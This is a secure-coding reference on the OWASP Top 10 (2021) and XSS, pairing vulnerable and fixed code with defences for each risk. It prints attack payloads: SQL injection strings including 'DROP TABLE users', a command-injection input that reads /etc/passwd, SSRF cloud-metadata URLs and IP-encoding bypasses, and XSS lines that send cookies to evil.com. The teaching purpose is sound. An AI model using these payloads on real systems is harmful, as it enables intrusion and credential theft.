OWASP Top 10
OWASP Top 10 (2021) web application security risks: descriptions, attack examples, vulnerable code patterns, and concrete defences
A01 โ Broken Access Control
Enforcing restrictions on authenticated users โ the most common critical vulnerability
DESCRIPTION
Access control enforces policy so users cannot act outside their
intended permissions. Failures lead to unauthorised data disclosure,
modification, or destruction.
COMMON WEAKNESSES
โข Insecure Direct Object Reference (IDOR): /invoice?id=1042
โ change to id=1043 and see another user's invoice
โข Missing function-level access control: non-admin GETs /admin/users
โข Privilege escalation: regular user performs admin action
โข CORS misconfiguration allowing untrusted origins
โข JWT with "alg: none" or weak secret accepted by server
โข Force browsing past access checks (e.g. /account/settings without login)
โข Elevation of privilege: acting as admin without being logged in
REAL IMPACT
An attacker enumerates IDs to exfiltrate all user records,
or a regular user calls an admin API to grant themselves privileges.// โ VULNERABLE โ no ownership check
app.get("/api/orders/:id", authenticate, async (req, res) => {
const order = await db.orders.findById(req.params.id);
res.json(order); // returns ANY order if you know the ID
});
// โ
SECURE โ verify resource belongs to the requesting user
app.get("/api/orders/:id", authenticate, async (req, res) => {
const order = await db.orders.findOne({
id: req.params.id,
userId: req.user.id, // ownership check
});
if (!order) return res.status(404).json({ error: "Not found" });
res.json(order);
});
// โ VULNERABLE โ client-supplied role
app.post("/api/promote", authenticate, async (req, res) => {
const { userId, role } = req.body; // attacker sends role: "admin"
await db.users.update(userId, { role });
});
// โ
SECURE โ server-side role check
app.post("/api/promote", authenticate, requireRole("admin"), async (req, res) => {
const { userId } = req.body;
await db.users.update(userId, { role: "moderator" }); // role is fixed server-side
});DEFENCES โ Deny by default โ access is forbidden unless explicitly granted โ Implement access control once, reuse throughout (don't duplicate logic) โ Enforce ownership on every resource read/write (not just list views) โ Log access control failures; alert on repeated failures (IDOR scanning) โ Rate-limit API endpoints to slow enumeration attacks โ Use indirect references (UUIDs / opaque tokens) instead of sequential IDs โ Validate JWT signatures server-side; reject "alg: none" โ Set CORS policy to explicitly named trusted origins only โ Invalidate server-side session tokens on logout โ Test access control with automated integration tests that cross user boundaries
A02 โ Cryptographic Failures
Failures related to cryptography exposing sensitive data in transit or at rest
DESCRIPTION Formerly "Sensitive Data Exposure". Focuses on failures related to cryptography (or lack of it) that expose sensitive data โ passwords, credit cards, health records, PII, business secrets. COMMON WEAKNESSES โข Data transmitted in clear text (HTTP, SMTP, FTP) โข Weak or old algorithms: MD5, SHA-1, DES, RC4, ECB mode โข Default or weak crypto keys; keys committed to source control โข Missing TLS certificate validation โข Passwords stored as plain text or with weak hash (MD5, SHA-1 unsalted) โข Deprecated protocols: TLS 1.0/1.1, SSL 2/3 โข Sensitive data cached in browser (no-store not set) โข Predictable IVs or nonces in CBC mode
import hashlib, bcrypt, secrets
# โ VULNERABLE โ plain text
db.save({"password": password})
# โ VULNERABLE โ MD5 (no salt, fast, broken)
hashed = hashlib.md5(password.encode()).hexdigest()
# โ VULNERABLE โ SHA-256 without salt (rainbow table attack possible)
hashed = hashlib.sha256(password.encode()).hexdigest()
# โ
SECURE โ bcrypt (slow, salted, designed for passwords)
hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))
# Verify:
bcrypt.checkpw(password.encode(), hashed)
# โ
SECURE โ Argon2 (winner of Password Hashing Competition)
from argon2 import PasswordHasher
ph = PasswordHasher(time_cost=2, memory_cost=65536, parallelism=2)
hashed = ph.hash(password)
ph.verify(hashed, password)
# โ VULNERABLE โ ECB mode (patterns visible in ciphertext)
from Crypto.Cipher import AES
cipher = AES.new(key, AES.MODE_ECB)
# โ
SECURE โ AES-GCM (authenticated encryption, random nonce)
nonce = secrets.token_bytes(12)
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
ciphertext, tag = cipher.encrypt_and_digest(plaintext)DEFENCES โ Classify data by sensitivity; apply appropriate protection level โ Don't store sensitive data you don't need (data minimisation) โ Encrypt all data at rest using AES-256 or ChaCha20-Poly1305 โ Enforce TLS 1.2+ for all connections; use HSTS โ Use strong, modern algorithms: AES-GCM, RSA-OAEP, ECDH, Ed25519 โ Never use: MD5, SHA-1, DES, 3DES, RC4, ECB mode for sensitive data โ Hash passwords with bcrypt, scrypt, or Argon2 (never MD5/SHA-1) โ Generate cryptographically random keys and IVs (use secrets module) โ Store keys in a secret manager (Vault, AWS KMS) โ never in source code โ Set Cache-Control: no-store on responses containing sensitive data โ Disable TLS 1.0/1.1, SSL 2/3; disable weak cipher suites
A03 โ Injection
SQL, NoSQL, OS command, LDAP injection โ untrusted data sent to an interpreter
DESCRIPTION Injection flaws occur when untrusted data is sent to an interpreter as part of a command or query. An attacker can trick the interpreter into executing unintended commands or accessing data without authorisation. TYPES โข SQL Injection โ most common; manipulates database queries โข NoSQL Injection โ MongoDB operator injection ($where, $gt) โข OS Command Injection โ shell metacharacters in system calls โข LDAP Injection โ manipulates directory service queries โข XPath / XML Injection โข Template Injection (SSTI) โ in Jinja2, Twig, Freemarker โข Log Injection โ injects fake log entries or CRLF sequences CLASSIC SQL INJECTION PAYLOADS ' OR '1'='1 -- always-true condition '; DROP TABLE users; -- -- destructive ' UNION SELECT username,password FROM users -- -- data exfil admin'-- -- bypass login
import sqlite3, subprocess, shlex
# โ VULNERABLE โ SQL injection via string concatenation
def get_user(username):
query = "SELECT * FROM users WHERE username = '" + username + "'"
return db.execute(query)
# Input: ' OR '1'='1 โ returns all users
# โ
SECURE โ parameterised query (prepared statement)
def get_user(username):
return db.execute("SELECT * FROM users WHERE username = ?", (username,))
# โ
SECURE โ ORM (SQLAlchemy)
user = session.query(User).filter(User.username == username).first()
# โ VULNERABLE โ OS command injection
def ping_host(host):
output = subprocess.check_output("ping -c 1 " + host, shell=True)
# Input: "8.8.8.8; cat /etc/passwd" โ exfiltrates /etc/passwd
# โ
SECURE โ avoid shell=True, pass args as list
def ping_host(host):
output = subprocess.check_output(["ping", "-c", "1", host])
# โ VULNERABLE โ NoSQL injection (MongoDB)
# Input: {"username": {"$gt": ""}, "password": {"$gt": ""}}
user = db.users.find_one({"username": req["username"], "password": req["password"]})
# โ
SECURE โ validate types before querying
def login(username: str, password: str):
if not isinstance(username, str) or not isinstance(password, str):
raise ValueError("Invalid input")
user = db.users.find_one({"username": username, "password": hash_password(password)})DEFENCES โ Use parameterised queries / prepared statements โ ALWAYS โ Use an ORM, but still validate inputs (ORMs can be misused) โ Validate and whitelist input: type, length, format, range โ Escape special characters when parameterisation isn't possible โ Never use shell=True; pass args as a list to subprocess โ Least privilege DB accounts โ app user shouldn't own schema โ Disable dangerous DB features (xp_cmdshell in SQL Server) โ Use WAF as a defence-in-depth layer (not primary defence) โ Scan code with SAST tools (Semgrep, Bandit, CodeQL) โ Run automated DAST scans (OWASP ZAP, Burp Suite)
A04 โ Insecure Design
Missing or ineffective security controls due to flaws in design, not implementation
DESCRIPTION
A new category in 2021 focusing on risks related to design and
architectural flaws โ different from implementation bugs.
"Insecure design cannot be fixed by perfect implementation."
COMMON WEAKNESSES
โข No threat modelling during design phase
โข Business logic flaws: can a user skip steps in a checkout flow?
โข Missing rate limiting on sensitive functions (OTP, password reset)
โข Password reset via security questions (easily guessed/researched)
โข Credential recovery that reveals the password instead of resetting it
โข Trusting user-supplied values for business-critical decisions
(e.g. price, discount, account tier sent from the client)
โข Missing anti-automation controls (CAPTCHAs, device fingerprinting)
โข Allowing unlimited account creation / resource consumption
EXAMPLE
A cinema ticketing app allows booking of 15 seats, then releasing
them in the last second โ no limit on how many times a user can do this.
Design flaw: no reservation expiry or anti-automation check.
DEFENCES
โ Threat modelling: use STRIDE, PASTA, or LINDDUN during design
โ Write security user stories and misuse cases alongside features
โ Validate all security-relevant values server-side (price, role, qty)
โ Apply rate limiting on authentication, OTP, password reset, signup
โ Limit resource consumption per user / IP / session
โ Use multi-factor authentication for sensitive actions
โ Segregate layers โ don't trust frontend; enforce in backend
โ Security design review before any feature ships
โ Use reference architectures and proven security librariesA05 โ Security Misconfiguration
Missing hardening, unnecessary features enabled, default credentials, verbose errors
DESCRIPTION The most commonly seen issue. Insecure defaults, incomplete configurations, open cloud storage, verbose error messages, unnecessary features, and missing security hardening across any part of the stack. COMMON WEAKNESSES โข Default credentials unchanged (admin/admin, root/root) โข S3 buckets / blob storage publicly readable or writable โข Directory listing enabled on web server โข Detailed error messages / stack traces returned to users in prod โข Unnecessary services, ports, pages, accounts, or privileges enabled โข Missing security headers (CSP, HSTS, X-Frame-Options, etc.) โข Cloud security groups with 0.0.0.0/0 on sensitive ports (DB, SSH) โข XML external entity processing enabled (see A05 / XXE) โข Default TLS certificates with weak keys โข Debug mode enabled in production (Django DEBUG=True, etc.)
# โ Recommended HTTP security headers (Nginx example) add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always; add_header X-Frame-Options "DENY" always; add_header X-Content-Type-Options "nosniff" always; add_header Referrer-Policy "strict-origin-when-cross-origin" always; add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always; add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none';" always; # โ Disable server version disclosure server_tokens off; # Nginx # ServerTokens Prod # Apache # โ Disable directory listing autoindex off; # Nginx # Options -Indexes # Apache # Check headers with curl curl -I https://example.com # โ Find default/weak credentials # Change all defaults before deploying any service # โ Scan for misconfigs (AWS) aws s3api get-bucket-acl --bucket my-bucket aws s3api get-public-access-block --bucket my-bucket # โ Check security group exposure aws ec2 describe-security-groups --query "SecurityGroups[?IpPermissions[?IpRanges[?CidrIp=='0.0.0.0/0']]]"
DEFENCES โ Repeatable hardening process: build secure base images / IaC โ Minimal platform โ remove unused features, components, docs, samples โ Review and update all security configurations during patching โ Segment architecture โ network, container, cloud IAM boundaries โ Send security headers on every HTTP response โ Never return stack traces or internal paths to end users โ Use generic error messages; log details server-side โ Automated misconfiguration scanning in CI/CD (Trivy, Checkov, tfsec) โ Periodic review of cloud IAM permissions, storage ACLs, security groups โ Enable and audit cloud-native security tools (AWS GuardDuty, Security Hub) โ Rotate all default credentials immediately on deployment
A06 โ Vulnerable & Outdated Components
Using components with known vulnerabilities in libraries, frameworks, and dependencies
DESCRIPTION Components (libraries, frameworks, OS, runtimes) run with the same privileges as the application. If a vulnerable component is exploited, it can result in serious data loss or a server takeover. COMMON WEAKNESSES โข Not knowing versions of all components in use (no SBOM) โข Running outdated, unsupported, or unpatched software โข Not scanning for vulnerabilities regularly (no CVE monitoring) โข Not fixing/upgrading underlying platforms timely โข Not testing compatibility of updated libraries before deploying โข Including unused but vulnerable dependencies โข Using abandoned / unmaintained packages NOTABLE EXAMPLES Log4Shell (CVE-2021-44228) โ Log4j RCE, CVSS 10.0 Heartbleed (CVE-2014-0160) โ OpenSSL memory leak Struts2 (CVE-2017-5638) โ Apache Struts RCE (Equifax breach) event-stream npm package โ supply chain attack, malicious code injected
# npm โ audit dependencies npm audit npm audit fix npm audit fix --force # upgrades breaking changes too npm outdated # show outdated packages # Python โ scan with safety or pip-audit pip-audit pip list --outdated safety check -r requirements.txt # Docker image scanning trivy image myapp:latest docker scout cves myapp:latest grype myapp:latest # Java โ OWASP Dependency Check dependency-check --project myapp --scan ./lib # Go govulncheck ./... # Ruby bundle audit # GitHub Dependabot (automatic PRs for vulnerable deps) # Add .github/dependabot.yml to enable # Snyk snyk test snyk monitor
DEFENCES โ Maintain a Software Bill of Materials (SBOM) for all dependencies โ Continuously monitor CVE databases (NVD, OSV, GitHub Advisory) โ Automate dependency scanning in CI/CD (Dependabot, Snyk, Trivy) โ Subscribe to security mailing lists for your key components โ Remove unused dependencies, features, files, and documentation โ Pin exact versions; review and test updates before deploying โ Use packages from official, reputable sources only โ Scan container base images; use minimal images (distroless, Alpine) โ Apply virtual patches (WAF rules) while permanent fix is prepared โ Have a documented patch response SLA based on CVSS severity
A07 โ Identification & Authentication Failures
Weaknesses in authentication, session management, and credential handling
DESCRIPTION
Attacks on identity, authentication, and session management allow
attackers to assume the identity of other users, temporarily or
permanently.
COMMON WEAKNESSES
โข Weak or no brute-force protection (no lockout, no rate limit)
โข Permitting weak passwords ("123456", "password")
โข Plain text, encrypted, or weakly hashed passwords (MD5, SHA-1)
โข Ineffective credential recovery (security questions, email-only reset)
โข Missing or ineffective multi-factor authentication
โข Exposed session IDs in URLs (?sessionid=abc123)
โข Session not invalidated on logout or after inactivity
โข Session tokens not rotated after successful login (session fixation)
โข Predictable session tokens (sequential IDs, low entropy)
โข Accepting expired or revoked JWTs (no server-side invalidation)// โ
Rate limit login attempts
const rateLimit = require("express-rate-limit");
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 10, // 10 attempts per window
message: "Too many login attempts, please try again later",
});
app.post("/auth/login", loginLimiter, loginHandler);
// โ
Rotate session after login (prevent session fixation)
app.post("/auth/login", async (req, res) => {
const user = await verifyCredentials(req.body);
if (!user) return res.status(401).json({ error: "Invalid credentials" });
req.session.regenerate((err) => { // new session ID on login
req.session.userId = user.id;
res.json({ ok: true });
});
});
// โ
Invalidate session on logout
app.post("/auth/logout", (req, res) => {
req.session.destroy(() => {
res.clearCookie("connect.sid");
res.json({ ok: true });
});
});
// โ
Secure cookie settings
app.use(session({
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true, // no JS access
secure: true, // HTTPS only
sameSite: "strict",// CSRF protection
maxAge: 30 * 60 * 1000, // 30 min inactivity timeout
},
}));DEFENCES โ Enforce multi-factor authentication (TOTP, passkeys, hardware keys) โ Implement account lockout or exponential backoff after failed attempts โ Rate-limit login, registration, and password reset endpoints โ Reject weak passwords; check against known-breached lists (HaveIBeenPwned API) โ Hash passwords with bcrypt, scrypt, or Argon2 โ never MD5/SHA-1 โ Generate cryptographically random session tokens (128+ bits entropy) โ Never expose session IDs in URLs โ use cookies only โ Set cookies: HttpOnly, Secure, SameSite=Strict โ Invalidate sessions server-side on logout โ Rotate session IDs after privilege level change (login, sudo, etc.) โ Set absolute and idle timeouts on sessions โ Use battle-tested auth libraries (Passport, Auth0, Keycloak) โ Avoid building authentication from scratch
A08 โ Software & Data Integrity Failures
Insecure CI/CD pipelines, unsigned updates, insecure deserialisation
DESCRIPTION
New in 2021. Relates to code and infrastructure that does not protect
against integrity violations. Includes insecure deserialisation and
CI/CD pipeline attacks (supply chain).
COMMON WEAKNESSES
โข Loading plugins, libraries, or updates from untrusted sources
โข CDN resources without Subresource Integrity (SRI) hashes
โข Auto-update mechanisms without cryptographic signature verification
โข Insecure deserialisation of untrusted data (Java, PHP, Python pickle)
โข Unsigned or unverified CI/CD pipeline artifacts
โข Compromised build tools / poisoned dependencies (supply chain)
โข Trusting client-supplied serialised objects without validation
EXAMPLES
SolarWinds: build pipeline compromised โ malicious code in signed update
event-stream npm: abandoned package taken over, backdoor added
PHP pickle / Java ObjectInputStream RCE via crafted serialised object
INSECURE DESERIALISATION ATTACK
Attacker sends crafted serialised object โ server deserialises it โ
attacker-controlled gadget chain executes arbitrary code (RCE)
DEFENCES
โ Use digital signatures for packages, artifacts, and container images
โ Add SRI hashes to all CDN/third-party <script> and <link> tags
โ Verify signatures before installing updates or plugins
โ Pin dependency versions and checksums (lock files, Sigstore)
โ Never deserialise data from untrusted sources in formats like
Java serialisation, PHP unserialize(), Python pickle
โ Use data-only serialisation formats (JSON, Protobuf) instead
โ If you must deserialise: implement integrity checks and run in low-privilege
sandboxed environment before processing
โ Secure CI/CD: least-privilege pipeline permissions, signed commits,
protected branches, audit logs, SLSA supply chain framework<!-- โ VULNERABLE โ no integrity check, CDN can serve malicious code --> <script src="https://cdn.example.com/jquery.min.js"></script> <!-- โ SECURE โ SRI hash ensures content hasn't been tampered with --> <script src="https://cdn.jsdelivr.net/npm/jquery@3.7.1/dist/jquery.min.js" integrity="sha256-/JqT3SQfawRcv/BIHPThkBvs0OEvtFFmqPF/lYI/Cxo=" crossorigin="anonymous"> </script> <!-- Generate SRI hash --> <!-- openssl dgst -sha256 -binary jquery.min.js | openssl base64 -A --> <!-- Or: https://www.srihash.org/ --> <!-- โ Also pin your own first-party scripts with CSP hashes --> <!-- Content-Security-Policy: script-src 'sha256-abc123...' -->
A09 โ Security Logging & Monitoring Failures
Insufficient logging, monitoring, and alerting that allows breaches to go undetected
DESCRIPTION Without logging and monitoring, breaches cannot be detected. The average time to detect a breach is over 200 days โ usually detected by external parties, not internal monitoring. COMMON WEAKNESSES โข Loggable events (logins, failed logins, high-value transactions) not logged โข Warnings and errors generate no or inadequate log messages โข Logs not monitored for suspicious activity โข Logs only stored locally (lost if server is compromised) โข Log entries lack sufficient context (who, what, when, where) โข Penetration tests and DAST scans don't trigger alerts โข Alerting thresholds too high; alerts not acted on โข Sensitive data (passwords, tokens, PII) written to logs WHAT MUST BE LOGGED โข All authentication events (success and failure) โข Access control failures (403s, IDOR attempts) โข Input validation failures (especially repeated) โข High-value transactions โข Session management events (create, destroy, timeout) โข Admin / privileged actions โข Errors and exceptions (without sensitive data)
// โ
Structured logging with security context (using pino)
const logger = require("pino")();
// Log authentication events
function logAuthEvent(event, req, user, success) {
logger.info({
event,
success,
userId: user?.id ?? null,
ip: req.ip,
userAgent: req.get("User-Agent"),
timestamp: new Date().toISOString(),
// โ NEVER log: passwords, tokens, secrets, full credit card numbers
});
}
// Login handler
app.post("/auth/login", async (req, res) => {
const user = await verifyCredentials(req.body.username, req.body.password);
if (!user) {
logAuthEvent("login_failure", req, null, false);
return res.status(401).json({ error: "Invalid credentials" });
}
logAuthEvent("login_success", req, user, true);
// ...
});
// Log access control failures
app.use((req, res, next) => {
res.on("finish", () => {
if (res.statusCode === 403 || res.statusCode === 401) {
logger.warn({
event: "access_denied",
method: req.method,
path: req.path,
userId: req.user?.id,
ip: req.ip,
status: res.statusCode,
});
}
});
next();
});DEFENCES
โ Log all authentication events, access control failures, and admin actions
โ Include: timestamp, user ID, IP, session ID, event type, outcome
โ Never log sensitive data: passwords, tokens, secrets, full PAN, SSN
โ Use structured logging (JSON) for machine-parseable log entries
โ Ship logs to a centralised, tamper-resistant system (SIEM, ELK, Splunk)
โ Retain logs long enough to support breach investigation (90 days+)
โ Set up automated alerting for:
- Brute force (N failed logins in T seconds)
- Impossible travel (login from two distant IPs in short time)
- Mass data access (user exporting thousands of records)
- Privilege escalation attempts
โ Establish and test an incident response plan
โ Include security event monitoring in on-call runbooksA10 โ Server-Side Request Forgery (SSRF)
Server fetches a remote resource using attacker-controlled URL
DESCRIPTION
SSRF flaws occur when a web application fetches a remote resource using
a user-supplied URL without validating it. The attacker can force the
server to make requests to internal services, cloud metadata endpoints,
or other unintended destinations.
COMMON ATTACK TARGETS
โข Cloud metadata services:
AWS: http://169.254.169.254/latest/meta-data/iam/security-credentials/
GCP: http://metadata.google.internal/computeMetadata/v1/
Azure: http://169.254.169.254/metadata/instance
โข Internal services: http://localhost:6379 (Redis), http://10.0.0.5:8080
โข Internal admin panels: http://internal-admin.corp/
โข File system via file:// scheme
โข Port scanning internal network
BYPASS TECHNIQUES ATTACKERS USE
โข 127.0.0.1, 0.0.0.0, [::1], localhost
โข Decimal IP: http://2130706433 (= 127.0.0.1)
โข Octal IP: http://017700000001
โข URL shorteners pointing to internal IPs
โข DNS rebinding: domain resolves to public IP then re-resolves to internal
โข Redirects: public URL โ 302 โ internal URLimport httpx
from urllib.parse import urlparse
import ipaddress
# โ VULNERABLE โ fetches any URL the user provides
def fetch_url(url: str):
return httpx.get(url).text
# โ
SECURE โ allowlist of permitted domains
ALLOWED_HOSTS = {"api.example.com", "cdn.example.com"}
def fetch_url_safe(url: str) -> str:
parsed = urlparse(url)
# Only allow HTTPS
if parsed.scheme != "https":
raise ValueError("Only HTTPS URLs are allowed")
# Allowlist check
if parsed.hostname not in ALLOWED_HOSTS:
raise ValueError(f"Host {parsed.hostname} is not allowed")
return httpx.get(url, follow_redirects=False).text
# โ
Block private/reserved IP ranges (defence in depth)
def is_safe_ip(hostname: str) -> bool:
try:
ip = ipaddress.ip_address(hostname)
return not (ip.is_private or ip.is_loopback or
ip.is_link_local or ip.is_reserved)
except ValueError:
return True # hostname, not IP โ let DNS resolve then recheck
# โ
AWS: use IMDSv2 which requires a PUT token (limits SSRF access)
# Disable IMDSv1 on all EC2 instances:
# aws ec2 modify-instance-metadata-options \
# --instance-id i-xxx --http-tokens requiredDEFENCES โ Allowlist permitted remote resources by domain, IP, port, and scheme โ Do not accept raw URLs from users โ use IDs that server maps to URLs โ Block all non-HTTP/HTTPS schemes: file://, gopher://, dict://, ftp:// โ Validate that resolved IPs are not private, loopback, or link-local โ Do not follow redirects; or re-validate the redirect destination โ Enforce network-level controls โ outbound firewall rules from app tier โ Isolate resource-fetching services in a dedicated DMZ with no internal access โ Disable unused URL schemes and HTTP redirections on servers โ Use IMDSv2 on AWS EC2 (require PUT token); block 169.254.169.254 at network โ Log all outbound HTTP requests from application servers โ Do not return raw server responses to the client (leaks internal info)
Cross-Site Scripting (XSS)
Reflected, stored, and DOM-based XSS โ injecting scripts into web pages
TYPES OF XSS
Reflected XSS โ payload in URL, executed immediately in response
URL: /search?q=<script>fetch('https://evil.com?c='+document.cookie)</script>
Stored XSS โ payload saved in database, executed for every visitor
Comment field: <img src=x onerror="document.location='https://evil.com?c='+document.cookie">
DOM-based XSS โ payload never hits the server; exploits client-side JS
URL: /page#<img src=x onerror=alert(1)>
Vulnerable: document.getElementById("x").innerHTML = location.hash;
COMMON BYPASS PAYLOADS
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
javascript:alert(1) (href / src attributes)
<a href="javascript:alert(1)">click</a>
"><script>alert(1)</script> (break out of attribute)
'--><script>alert(1)</script> (break out of JS string/HTML comment)
IMPACT
Session hijacking (steal cookies), credential theft, keylogging,
defacement, drive-by malware download, CSRF bypass// โ VULNERABLE โ directly setting innerHTML
document.getElementById("output").innerHTML = userInput;
// โ VULNERABLE โ React dangerouslySetInnerHTML
<div dangerouslySetInnerHTML={{ __html: userContent }} />
// โ
SECURE โ use textContent for plain text
document.getElementById("output").textContent = userInput;
// โ
SECURE โ React renders text safely by default
<div>{userContent}</div>
// โ
SECURE โ sanitise HTML when rich text is truly needed
import DOMPurify from "dompurify";
const clean = DOMPurify.sanitize(dirtyHTML);
document.getElementById("output").innerHTML = clean;
// โ
SECURE โ Content Security Policy (HTTP header)
// Prevents inline scripts and restricts script sources
// Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none';
// โ
SECURE โ server-side output encoding (Node.js / Express)
const escapeHtml = (str) =>
str.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");DEFENCES
โ Context-aware output encoding:
- HTML body: HTML entity encoding (< > &)
- HTML attribute: Attribute encoding (")
- JavaScript: JS Unicode escaping (\uXXXX)
- CSS: CSS hex escaping
- URL parameter: Percent encoding
โ Use modern frameworks that auto-escape by default (React, Vue, Angular)
โ Never use innerHTML, document.write(), or eval() with user data
โ Sanitise with DOMPurify when rich HTML input is required
โ Implement a strict Content Security Policy (CSP)
โ Set HttpOnly on session cookies โ limits damage from XSS
โ Enable X-Content-Type-Options: nosniff
โ Use Trusted Types API for DOM manipulation in modern browsers
โ Validate input on server (type, length, allowlist of characters)
โ Scan with DAST tools: OWASP ZAP, Burp Suite, Nikto